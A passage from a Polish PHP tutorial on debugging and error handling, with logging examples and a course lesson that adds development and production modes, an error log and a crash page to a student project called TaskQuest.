processUser(-5);        // Warning
processUser("abc");     // Fatal Error
processUser(1, 2);      // Deprecated
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Walidacja z trigger_error()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Validator {
    
    public static function validateEmail($email) {
        if (empty($email)) {
            trigger_error("Email nie może być pusty", E_USER_NOTICE);
            return false;
        }
        
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            trigger_error("Nieprawidłowy format email: $email", E_USER_WARNING);
            return false;
        }
        
        return true;
    }
    
    public static function validateAge($age) {
        if (!is_numeric($age)) {
            trigger_error("Wiek musi być liczbą, podano: " . gettype($age), E_USER_ERROR);
        }
        
        if ($age &lt; 0) {
            trigger_error("Wiek nie może być ujemny: $age", E_USER_WARNING);
            return false;
        }
        
        if ($age &gt; 150) {
            trigger_error("Nieprawdopodobny wiek: $age", E_USER_WARNING);
            return false;
        }
        
        return true;
    }
}

// Testy
Validator::validateEmail('');                    // Notice
Validator::validateEmail('invalid-email');       // Warning
Validator::validateAge('abc');                   // Fatal Error
Validator::validateAge(-5);                      // Warning
Validator::validateAge(200);                     // Warning
?&gt;</code></pre>



<h2 class="wp-block-heading">4. error_log() &#8211; Logowanie błędów</h2>



<h3 class="wp-block-heading">Podstawowe użycie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Loguj do domyślnego pliku error_log
error_log("To jest testowa wiadomość w logu");

// Loguj zmienną
$user_id = 123;
error_log("User ID: $user_id");

// Loguj tablicę (trzeba skonwertować do stringa)
$data = &#91;'name' =&gt; 'Jan', 'age' =&gt; 25];
error_log("User data: " . print_r($data, true));

// Loguj z kontekstem
error_log("&#91;" . date('Y-m-d H:i:s') . "] User logged in: $user_id");
?&gt;</code></pre>



<h3 class="wp-block-heading">Logowanie do konkretnego pliku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Loguj do konkretnego pliku
error_log("Custom log message", 3, "/var/log/myapp/custom.log");

// Funkcja pomocnicza do logowania
function logMessage($message, $level = 'INFO') {
    $timestamp = date('Y-m-d H:i:s');
    $log_file = __DIR__ . '/logs/app.log';
    
    $formatted_message = "&#91;$timestamp] &#91;$level] $message" . PHP_EOL;
    
    error_log($formatted_message, 3, $log_file);
}

// Użycie
logMessage("Aplikacja uruchomiona", "INFO");
logMessage("Użytkownik zalogowany: ID 123", "INFO");
logMessage("Błąd połączenia z bazą", "ERROR");
logMessage("Podejrzana aktywność z IP: 192.168.1.100", "WARNING");
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład &#8211; Klasa Logger</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Logger {
    
    private $log_file;
    private $levels = &#91;'DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'];
    
    public function __construct($log_file = null) {
        $this-&gt;log_file = $log_file ?? __DIR__ . '/logs/app.log';
        
        // Utwórz katalog jeśli nie istnieje
        $log_dir = dirname($this-&gt;log_file);
        if (!is_dir($log_dir)) {
            mkdir($log_dir, 0755, true);
        }
    }
    
    private function write($level, $message, $context = &#91;]) {
        $timestamp = date('Y-m-d H:i:s');
        
        // Format: &#91;2024-01-15 14:30:45] &#91;ERROR] Message
        $log_line = "&#91;$timestamp] &#91;$level] $message";
        
        // Dodaj kontekst jeśli istnieje
        if (!empty($context)) {
            $log_line .= " | Context: " . json_encode($context);
        }
        
        $log_line .= PHP_EOL;
        
        // Zapisz do pliku
        error_log($log_line, 3, $this-&gt;log_file);
    }
    
    public function debug($message, $context = &#91;]) {
        $this-&gt;write('DEBUG', $message, $context);
    }
    
    public function info($message, $context = &#91;]) {
        $this-&gt;write('INFO', $message, $context);
    }
    
    public function warning($message, $context = &#91;]) {
        $this-&gt;write('WARNING', $message, $context);
    }
    
    public function error($message, $context = &#91;]) {
        $this-&gt;write('ERROR', $message, $context);
    }
    
    public function critical($message, $context = &#91;]) {
        $this-&gt;write('CRITICAL', $message, $context);
    }
    
    public function exception(Exception $e) {
        $context = &#91;
            'file' =&gt; $e-&gt;getFile(),
            'line' =&gt; $e-&gt;getLine(),
            'trace' =&gt; $e-&gt;getTraceAsString()
        ];
        
        $this-&gt;error($e-&gt;getMessage(), $context);
    }
}

// Użycie
$logger = new Logger();

$logger-&gt;info("Aplikacja uruchomiona");
$logger-&gt;debug("Zmienna \$x = 5", &#91;'x' =&gt; 5]);
$logger-&gt;warning("Niska pamięć", &#91;'available' =&gt; '50MB']);
$logger-&gt;error("Błąd połączenia z bazą", &#91;'host' =&gt; 'localhost', 'error' =&gt; 'timeout']);

try {
    throw new Exception("Testowy wyjątek");
} catch (Exception $e) {
    $logger-&gt;exception($e);
}
?&gt;</code></pre>



<h2 class="wp-block-heading">5. var_dump(), print_r(), debug_backtrace()</h2>



<h3 class="wp-block-heading">var_dump() &#8211; Pełne informacje o zmiennej</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$string = "Hello World";
$number = 42;
$float = 3.14;
$bool = true;
$null = null;
$array = &#91;'a' =&gt; 1, 'b' =&gt; 2, 'c' =&gt; 3];
$object = new stdClass();
$object-&gt;name = "Test";
$object-&gt;value = 100;

// var_dump() pokazuje typ i wartość
var_dump($string);      // string(11) "Hello World"
var_dump($number);      // int(42)
var_dump($float);       // float(3.14)
var_dump($bool);        // bool(true)
var_dump($null);        // NULL
var_dump($array);       // array(3) { &#91;"a"]=&gt; int(1) ...}
var_dump($object);      // object(stdClass)#1 (2) { ...}

// Wiele zmiennych naraz
var_dump($string, $number, $array);
?&gt;</code></pre>



<h3 class="wp-block-heading">print_r() &#8211; Czytelniejszy output</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$array = &#91;
    'user' =&gt; &#91;
        'id' =&gt; 123,
        'name' =&gt; 'Jan Kowalski',
        'email' =&gt; 'jan@example.com',
        'roles' =&gt; &#91;'admin', 'editor']
    ],
    'settings' =&gt; &#91;
        'theme' =&gt; 'dark',
        'language' =&gt; 'pl'
    ]
];

// print_r() - czytelniejsze formatowanie
print_r($array);

// Zwróć jako string zamiast wyświetlać
$output = print_r($array, true);
error_log("Array content: $output");

// Porównanie
echo "&lt;pre&gt;";
echo "var_dump():\n";
var_dump($array);

echo "\nprint_r():\n";
print_r($array);
echo "&lt;/pre&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">debug_backtrace() &#8211; Śledzenie wywołań</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function levelOne() {
    levelTwo();
}

function levelTwo() {
    levelThree();
}

function levelThree() {
    // Pokaż stos wywołań
    $backtrace = debug_backtrace();
    
    echo "&lt;pre&gt;";
    print_r($backtrace);
    echo "&lt;/pre&gt;";
    
    // Bardziej czytelne
    echo "&lt;h3&gt;Call Stack:&lt;/h3&gt;";
    foreach ($backtrace as $index =&gt; $call) {
        echo "#{$index} ";
        
        if (isset($call&#91;'file'])) {
            echo "{$call&#91;'file']}:{$call&#91;'line']} - ";
        }
        
        if (isset($call&#91;'class'])) {
            echo "{$call&#91;'class']}{$call&#91;'type']}";
        }
        
        echo "{$call&#91;'function']}()&lt;br&gt;";
    }
}

levelOne();
?&gt;</code></pre>



<h3 class="wp-block-heading">Funkcja debug() &#8211; Ulepszony var_dump()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function debug($var, $label = null, $die = false) {
    echo '&lt;pre style="background:#f4f4f4; padding:15px; border:2px solid #333; border-radius:5px; margin:10px 0;"&gt;';
    
    if ($label) {
        echo "&lt;strong&gt;DEBUG: $label&lt;/strong&gt;\n";
        echo str_repeat('-', 50) . "\n";
    }
    
    // Informacje o wywołaniu
    $backtrace = debug_backtrace();
    $caller = $backtrace&#91;0];
    echo "File: {$caller&#91;'file']}\n";
    echo "Line: {$caller&#91;'line']}\n";
    echo str_repeat('-', 50) . "\n\n";
    
    // Typ zmiennej
    echo "Type: " . gettype($var) . "\n\n";
    
    // Wartość
    if (is_array($var) || is_object($var)) {
        print_r($var);
    } else {
        var_dump($var);
    }
    
    echo '&lt;/pre&gt;';
    
    if ($die) {
        die("\n&lt;strong&gt;Script terminated by debug()&lt;/strong&gt;");
    }
}

// Użycie
$user = &#91;
    'id' =&gt; 123,
    'name' =&gt; 'Jan Kowalski',
    'active' =&gt; true
];

debug($user, "User Data");
debug($_SERVER, "Server Variables");
debug($user, "Critical Error - User Data", true); // Zatrzyma skrypt
?&gt;</code></pre>



<h2 class="wp-block-heading">6. Try-Catch &#8211; Obsługa wyjątków</h2>



<p class="wp-block-paragraph">Materiał dostępny w temacie <a href="https://kamakaczmarek.net/12-php-wyjatki-try-catch/">https://kamakaczmarek.net/12-php-wyjatki-try-catch/</a></p>



<h2 class="wp-block-heading">7. Xdebug &#8211; Profesjonalne debugowanie</h2>



<p class="wp-block-paragraph">Xdebug&nbsp;to&nbsp;popularne rozszerzenie (moduł) dla języka PHP, które służy do debugowania (szukania błędów), profilowania oraz analizy wydajności aplikacji. </p>



<p class="wp-block-paragraph">Zamiast polegać na tradycyjnym, często uciążliwym wypisywaniu wartości zmiennych w oknie przeglądarki za pomocą funkcji&nbsp;var_dump()&nbsp;czy&nbsp;print_r(), </p>



<p class="wp-block-paragraph">Xdebug pozwala na zaawansowaną, interaktywną pracę z kodem.</p>



<p class="wp-block-paragraph">W tym miejscu odsyłam Was do zewnętrznych źródeł celem zgłębienia tematu &#8211; jest ich mnóstwo w sieci.</p>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 2.3 — tryb pracy, log błędów i strona awarii</h1>



<p class="wp-block-paragraph">Po Lekcji 22 TaskQuest ma prawdziwe konta, hasła i obronę przed trzema atakami. Ale kiedy coś w środku pęknie, aplikacja zachowuje się fatalnie: pokazuje graczowi nazwy kolumn z bazy, pełne ścieżki do plików na serwerze, a czasem po prostu białą stronę. I nie zostawia po sobie żadnego śladu — gdy uczeń z klasy obok napisze „nie działa”, nie masz jak sprawdzić, co się stało.</p>



<p class="wp-block-paragraph">Dziś zajmiesz się tym, co dzieje się <strong>po</strong> wystąpieniu błędu: kto zobaczy szczegóły, co zostanie zapisane i jak znaleźć przyczynę. Przy okazji poznasz narzędzia, których będziesz używać do końca nauki programowania.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Pracujesz na projekcie w stanie po Lekcji 22.</p>
</blockquote>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>rozpoznawać rodzaje błędów PHP (<strong>Parse error</strong>, <strong>Fatal error</strong>, <strong>Warning</strong>, <strong>Deprecated</strong>) i czytać ich komunikaty,</li>



<li>rozróżniać <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> oraz wiedzieć, czego <strong>nie</strong> łapie <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception ...)</code>,</li>



<li>sterować wyświetlaniem błędów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('display_errors', ...)</code>),</li>



<li>zapisywać błędy do pliku (<code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>) i używać logu jako narzędzia debugowania,</li>



<li>ustawiać awaryjną obsługę niezłapanych wyjątków (<code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler()</code>),</li>



<li>świadomie używać <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r()</code> i wiedzieć, kiedy one nie wystarczą.</li>
</ul>



<p class="wp-block-paragraph">Efekt: TaskQuest ma dwa tryby pracy (rozwojowy i produkcyjny), własny plik logu, do którego trafia każda awaria, i stronę awarii zamiast białego ekranu ze ścieżkami serwera.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Nie zmieniamy sposobu walidacji danych od użytkownika. Błąd użytkownika to nadal tablica komunikatów (reguła z L13), a nie wyjątek.</li>



<li>Nie wprowadzamy własnych klas wyjątków (to wciąż zadanie dodatkowe z L15) ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">trigger_error()</code> — w TaskQuest awarie zgłaszamy wyjątkami (L12).</li>



<li>Xdebug omawiamy tylko krótko na końcu. To narzędzie do zainstalowania, nie kod w projekcie.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 22</h1>



<ol class="wp-block-list">
<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> wywołujemy przy wyświetlaniu, a nie przed zapisem do bazy?</li>



<li>Skąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> wie, że formularz pochodzi z TaskQuest, a nie z obcej strony?</li>



<li>Dlaczego przy nieudanym logowaniu pokazujemy jeden wspólny komunikat „Nieprawidłowy login lub hasło.”?</li>



<li>Co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> i przed czym <strong>nie</strong> chroni?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 22</th><th>Po Lekcji 23</th></tr></thead><tbody><tr><td>logowanie, rejestracja, zadania, XP, avatary, ranking</td><td>działają</td><td><strong>działają tak samo</strong></td></tr><tr><td>walidacja formularzy</td><td>tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code></td><td><strong>bez zmian</strong></td></tr><tr><td>komunikat awarii u gracza</td><td>oryginalny tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> (np. nazwa kolumny)</td><td><strong>zmiana:</strong> w trybie rozwojowym szczegóły, w produkcyjnym jedno ogólne zdanie</td></tr><tr><td>ślad po awarii</td><td>żaden</td><td><strong>dochodzi:</strong> wpis w <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>same stałe</td><td><strong>dochodzą:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_LOGU</code>, ustawienia błędów, włączenie obsługi wyjątków</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bledow.php</code></td><td>nie ma</td><td><strong>nowy plik:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszBladDoLogu()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatAwarii()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pokazAwarie()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code></td><td>nie ma</td><td><strong>nowy katalog</strong> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code></td></tr><tr><td>7 bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$blad = $wyjatek-&gt;getMessage();</code></td><td><strong>zmiana:</strong> zapis do logu + komunikat zależny od trybu</td></tr><tr><td>niezłapany <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code></td><td>biała strona albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> z pełną ścieżką</td><td><strong>zmiana:</strong> strona awarii + wpis w logu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>23 ścieżki</td><td><strong>zmiana:</strong> 25 ścieżek + sekcja „Log błędów”</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── config/config.php                (zmiana: tryb pracy, ustawienia błędów, set_exception_handler)
├── includes/
│   ├── funkcje_bledow.php           NOWY
│   ├── footer.php                   (zmiana: „TaskQuest 2.3”)
│   └── ... pozostałe                bez zmian
├── logs/                            NOWY KATALOG
│   ├── .htaccess                    NOWY
│   └── taskquest.log                (tworzy go PHP przy pierwszym błędzie)
├── index.php                        (zmiana: blok catch)
├── zaloguj.php                      (zmiana: blok catch)
├── rejestracja.php                  (zmiana: blok catch)
├── dodaj-zadanie.php                (zmiana: blok catch)
├── profil.php                       (zmiana: blok catch)
├── oznacz-wykonane.php              (zmiana: blok catch)
├── usun-zadanie.php                 (zmiana: blok catch)
├── diagnostyka.php                  (zmiana: 25 ścieżek, sekcja „Log błędów”)
└── classes/, sql/, uploads/         bez zmian</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja22/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code> i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.</li>



<li>Znajdź na dysku plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\apache\logs\error.log</code> (na Linuksie <code class="prettyprint lang-sql" style="font-size: 0.85em;">/opt/lampp/logs/error_log</code>). Otwórz go w edytorze kodu i przewiń na koniec. To tu dziś trafiają wszystkie komunikaty PHP — za chwilę damy TaskQuest własny plik.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Trzy rzeczy, które dzieją się w TaskQuest <strong>już dziś</strong>.</p>



<p class="wp-block-paragraph"><strong>1. Aplikacja zdradza wnętrze bazy.</strong> Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>, znajdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> i w tekście zapytania zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul2</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się wczytać danych: Unknown column 'tytul2' in 'field list'</code></pre>



<p class="wp-block-paragraph">Gracz właśnie dostał informację, jak nazywają się kolumny w Twojej bazie. Po Lekcji 22 wiesz, że to prezent dla atakującego. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>.</strong></p>



<p class="wp-block-paragraph"><strong>2. Aplikacja zdradza wnętrze serwera.</strong> Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, znajdź w formularzu pole tytułu i zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul[]"</code>. Wyślij formularz z dowolnym tytułem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught TypeError: trim(): Argument #1 ($string) must be of type string,
array given in C:\xampp\htdocs\taskquest\includes\funkcje_tekstowe.php:14</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na dwie rzeczy. Po pierwsze — pełna ścieżka do pliku na dysku serwera. Po drugie — <strong>blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> w tym pliku tego nie złapał</strong>. Dlaczego, dowiesz się w sekcji 3.3. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code>.</strong></p>



<p class="wp-block-paragraph"><strong>3. Nie ma żadnego śladu.</strong> Oba błędy zniknęły razem z odświeżeniem strony. Gdyby zdarzyły się graczowi w nocy, rano nie miałabyś jak sprawdzić, co się stało. Jedyny ślad jest w logu Apache — wspólnym dla wszystkich aplikacji na tym serwerze.</p>



<p class="wp-block-paragraph">Plan lekcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">rodzaje błędów PHP        → umiesz przeczytać komunikat i wiesz, co się stało
Exception vs Error        → wiesz, czego catch (Exception) nie łapie
tryb pracy aplikacji      → decydujesz, kto widzi szczegóły
log błędów                → każda awaria zostawia ślad
set_exception_handler()   → żaden błąd nie pokaże graczowi ścieżek
var_dump / print_r / log  → potrafisz znaleźć przyczynę</code></pre>



<h1 class="wp-block-heading">3. Rodzaje błędów w PHP</h1>



<h2 class="wp-block-heading">3.1 Cztery rodzaje komunikatów</h2>



<p class="wp-block-paragraph">Utwórz w katalogu projektu plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>. Będziesz do niego wracać przez całą lekcję.</p>



<p class="wp-block-paragraph"><strong>Parse error (błąd składni).</strong> PHP nie potrafi nawet przeczytać pliku, więc <strong>nic</strong> się nie wykonuje:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

echo "Start";
echo "Brakuje średnika"
echo "Koniec";</code></pre>



<p class="wp-block-paragraph">Uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>. Słowo „Start” <strong>nie pojawi się</strong>, mimo że jest przed błędem. To jest cecha rozpoznawcza błędu składni: cały plik przepada.</p>



<p class="wp-block-paragraph"><strong>Fatal error (błąd krytyczny).</strong> Skrypt rusza, ale przerywa się w miejscu błędu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

echo "&lt;p>Start&lt;/p>";
nieistniejacaFunkcja();
echo "&lt;p>Koniec&lt;/p>";</code></pre>



<p class="wp-block-paragraph">Tym razem „Start” się wyświetli, a „Koniec” już nie.</p>



<p class="wp-block-paragraph"><strong>Warning (ostrzeżenie).</strong> Skrypt <strong>nie</strong> przerywa pracy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$plik = fopen('nie_ma_takiego_pliku.txt', 'r');
echo "&lt;p>Mimo ostrzeżenia lecę dalej.&lt;/p>";
echo "&lt;p>Zmienna: " . $nieistniejacaZmienna . "&lt;/p>";</code></pre>



<p class="wp-block-paragraph">To najbardziej podstępny rodzaj błędu. Strona działa, ale wynik jest nie ten, którego oczekujesz. Znasz to z Lekcji 21: <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> przy braku katalogu też wypisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code> — ze ścieżką do katalogu na serwerze.</p>



<p class="wp-block-paragraph"><strong>Deprecated (przestarzałe).</strong> Informacja, że coś działa, ale zniknie w przyszłej wersji PHP. Spotkałaś to w Lekcji 11 przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> bez ostatniego parametru.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Poprawka do materiału źródłowego.</strong> Materiał wymienia jeszcze <code class="prettyprint lang-sql" style="font-size: 0.85em;">Notice</code> i podaje przykłady: niezdefiniowana zmienna, brakujący klucz tablicy, dzielenie przez zero. W PHP 8 te trzy przypadki zachowują się inaczej niż w PHP 5/7:</p>



<ul class="wp-block-list">
<li>niezdefiniowana zmienna → <strong>Warning</strong> (nie Notice),</li>



<li>brakujący klucz tablicy → <strong>Warning</strong> (nie Notice),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">10 / 0</code> → <strong>rzuca <code class="prettyprint lang-sql" style="font-size: 0.85em;">DivisionByZeroError</code></strong>, czyli przerywa skrypt (nie Warning).</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Notice</code> nadal istnieje, ale jest dziś rzadkością. Sprawdź to sama — wpisz w brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo 10 / 0;</code> i zobacz, co pokaże PHP.</p>
</blockquote>



<h2 class="wp-block-heading">3.2 Jak czytać komunikat błędu</h2>



<p class="wp-block-paragraph">Każdy komunikat ma cztery części:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught TypeError: trim(): Argument #1 ($string) must be of type string, array given
             in C:\xampp\htdocs\taskquest\includes\funkcje_tekstowe.php:14</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91;1] Fatal error              → rodzaj: skrypt się przerwał
&#91;2] Uncaught TypeError       → nazwa klasy błędu
&#91;3] trim(): Argument #1 ...  → co dokładnie jest nie tak
&#91;4] funkcje_tekstowe.php:14  → plik i numer linii</code></pre>



<p class="wp-block-paragraph">Reguła praktyczna: <strong>czytaj od końca.</strong> Najpierw plik i linia, potem treść. Uwaga na pułapkę — linia 14 to miejsce, w którym błąd <strong>wybuchł</strong>, a nie zawsze miejsce, w którym powstał. <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> dostało tablicę, ale to nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> jest winne — winne jest miejsce, które przekazało tablicę. Dlatego pod komunikatem PHP pokazuje <strong>stos wywołań</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Stack trace</code>): listę funkcji, które doprowadziły do tego miejsca, od najbardziej zagnieżdżonej do najwyższej.</p>



<h2 class="wp-block-heading">3.3 Error czy Exception?</h2>



<p class="wp-block-paragraph">Od Lekcji 12 używasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. W sekcji 2 zobaczyłaś, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> przeszedł obok bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. To nie jest przypadek ani błąd w Twoim kodzie.</p>



<p class="wp-block-paragraph">W PHP wszystko, co można rzucić, dziedziczy po interfejsie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>. Poniżej są dwie rodziny:</p>



<pre class="wp-block-preformatted"> <code class="prettyprint lang-sql" style="font-size: 0.85em;">             Throwable<br />              /        \<br />       Exception        Error<br />           |              |<br />  mysqli_sql_exception   TypeError<br />  DateMalformedString…   ValueError<br />  (Twoje wyjątki z L12)  DivisionByZeroError<br />                         ArgumentCountError</code></pre>



<p class="wp-block-paragraph">Podział ma sens praktyczny:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code></strong> to sytuacja, którą program przewidział: baza nie odpowiada, pliku nie ma, dane są niepoprawne. Program może zareagować.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code></strong> to błąd programisty: zła liczba argumentów, zły typ, wywołanie nieistniejącej funkcji. Nie ma sensownej reakcji poza „napraw kod”.</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code> łapie <strong>wyłącznie lewą gałąź</strong>. To jest zamierzone: gdyby łapało wszystko, Twoje literówki udawałyby awarie bazy danych.</p>



<h2 class="wp-block-heading">SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Wyczyść <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i wstaw:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function sprawdz(callable $kod): void
{
    try {
        $kod();
        echo "&lt;p>Bez błędu.&lt;/p>";
    } catch (Exception $wyjatek) {
